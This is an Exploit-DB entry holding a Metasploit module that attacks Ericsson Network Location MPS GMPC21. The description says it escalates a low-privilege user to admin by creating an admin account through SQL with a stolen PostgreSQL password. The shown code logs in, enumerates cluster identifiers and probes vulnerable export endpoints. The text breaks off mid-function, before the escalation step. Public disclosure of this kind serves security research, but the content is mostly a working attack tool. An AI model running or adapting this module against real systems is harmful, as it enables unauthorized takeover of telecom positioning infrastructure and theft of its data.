Exploit-DB #50469
Description: Ericsson Network Location MPS GMPC21 - Privilege Escalation (Metasploit)
Type: webapps
Platform: multiple
Date: 2021-11-02
Author: AkkuS

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Ericsson Network Location MPS - Privilege Escalation (Meow Variant)',
      'Description'    => %q(
        This module exploits privilege escalation vulnerability in Ericsson Network Location Mobile Positioning Systems.
        It creates a new admin user with SQL Query. Thanks to the Meow variant, it does this with the PostgreSQL password it stole.
        Therefore low authority user can gain the authority of "admin" on the application.

	You can examine the exploit "Restrictions Bypass RCE", which is the main source of the vulnerability.	
        "version":"GMPC21","product_number":"CSH 109 025 R6A", "cluster version: 21"
		
        /////// This 0day has been published at DEFCON29-PHV Village. ///////		

      ),
      'References'     =>
        [
          [ 'CVE', '2021-' ],
          [ 'URL', 'https://pentest.com.tr/blog/RCE-via-Meow-Variant-along-with-an-Example-0day-PacketHackingVillage-Defcon-29.html' ],
          [ 'URL', 'https://www.ericsson.com/en/portfolio/digital-services/automated-network-operations/analytics-and-assurance/ericsson-network-location'],
          [ 'URL', 'https://www.wallofsheep.com/pages/dc29#akkus']
        ],
      'Author'         =>
        [
          'Özkan Mustafa AKKUŞ <AkkuS>' # Discovery & PoC & MSF Module @ehakkus
        ],
      'License'        => MSF_LICENSE,
      'DisclosureDate' => "Apr 21 2021",
      'DefaultOptions' =>
        {
          'RPORT' => 10083,
          'SSL'   => true
        }
    ))

    register_options([
	OptString.new('USERNAME',  [true, 'NLG Username']),
        OptString.new('PASSWORD',  [true, 'NLG Password']),
        OptString.new('TARGETURI',  [true, 'Base path for NLG application', '/'])
    ])
  end
  # for Origin and Referer headers
  def peer
    "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
  end
  # split strings to salt
  def split(data, string_to_split)  
    word = data.scan(/"#{string_to_split}":"([\S\s]*?)"/)
    string = word.split('"]').join('').split('["').join('')
    return string
  end  
  
  def cluster
  
    res = send_request_cgi({
	  # clusters information to API directories
      'uri'     => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', 'clusters'),
	  'method'  => 'GET'
    })  
	
    if res && res.code == 200 && res.body =~ /version/
      cls_version = split(res.body, "version")
      cls_node_type = split(res.body, "node_type")
      cls_name = split(res.body, "cluster_name")
      cls_id = cls_version + "-" + cls_node_type + "-" + cls_name
      return cls_version, cls_node_type, cls_name, cls_id
    else
      fail_with(Failure::NotVulnerable, 'Cluster not detected. Check the informations!')
    end 
  end
  
  def permission_check(token)
    # By giving numbers to the vulnerable areas, we can easily use them in JSON format.
    json_urls = '{"1":"/cells/gsm/cgi_cells/","2":"/smpp/", "3":"/positioning_controls/gsm/", "4":"/psap/wireless/specific_routings/", "5":"/numbering/plmns/"}'
    parse = JSON.parse(json_urls)
    cls_id = cluster[3]
    cls_node_type = cluster[1]
	
    i = 1
    while i <= 6 do
       link = parse["#{i}"]
       i +=1
       # The cells export operation returns 409 response when frequent requests are made. 
       # Therefore, if it is time for check cells import operation, we tell expoit to sleep for 2 seconds. 
       if link == "/cells/gsm/cgi_cells/"
	 sleep(7)
       end
       filename = Rex::Text.rand_text_alpha_lower(6)
	   
       res = send_request_cgi({
         'uri'     => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', cls_id, cls_node_type, link, 'export?file_name=/export/home/mpcadmin/', filename),
	     'method'  => 'GET',
	     'headers' =>
           {
		     'X-Auth-Token' => token,
             'Origin' => "#{peer}"
           }
       })  
	   
       if res && res.code == 403 then # !200 
	 next
       elsif res && res.code == 200 
	 return link, true 
       elsif res && res.code == 400 
	 return link, true 		   		 
       elsif res && res.code == 404 # This means i == 5 (a non index) and response returns 404.
         return "no link", false		   
       end  	   
    end
  end

  def check
    # check connection and login
    token = login(datastore['USERNAME'], datastore['PASSWORD'])
    res = send_request_cgi({
      # product information check 
      'uri'     => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', cluster[3], 'product_info', 'about'),
	  'method'  => 'GET',
	  'headers' =>
        {
		  'X-Auth-Token' => token,
          'Origin' => "#{peer}"
        }
    })  	
	
    if res && res.code == 200 && res.body =~ /version/
      version = split(res.body, "version")
      pnumber = split(res.body, "product_number")
      print_status("Product Number:#{pnumber} - Version:#{version}")	  
      return Exploit::CheckCode::Appears
    else
      return Exploit::CheckCode::Safe
    end
  end
  
  def login(user, pass)
  
    json_login = '{"auth": {"method": "password","password": {"user_id": "' + datastore["USERNAME"] + '","password": "' + datastore["PASSWORD"] + '"}}}'
	
    res = send_request_cgi(
      {
      'method' => 'POST',
      'ctype'  => 'application/json',
      'uri' => normalize_uri(target_uri.path, 'api', 'login', 'nlg', 'gmpc', 'auth', 'tokens'),
      'headers' =>
        {
          'Origin' => "#{peer}"
        },
      'data' => json_login
      })	
	  
    if res && res.code == 200 && res.body =~ /true/
      auth_token = split(res.body, "authToken")
      return auth_token
    else
      fail_with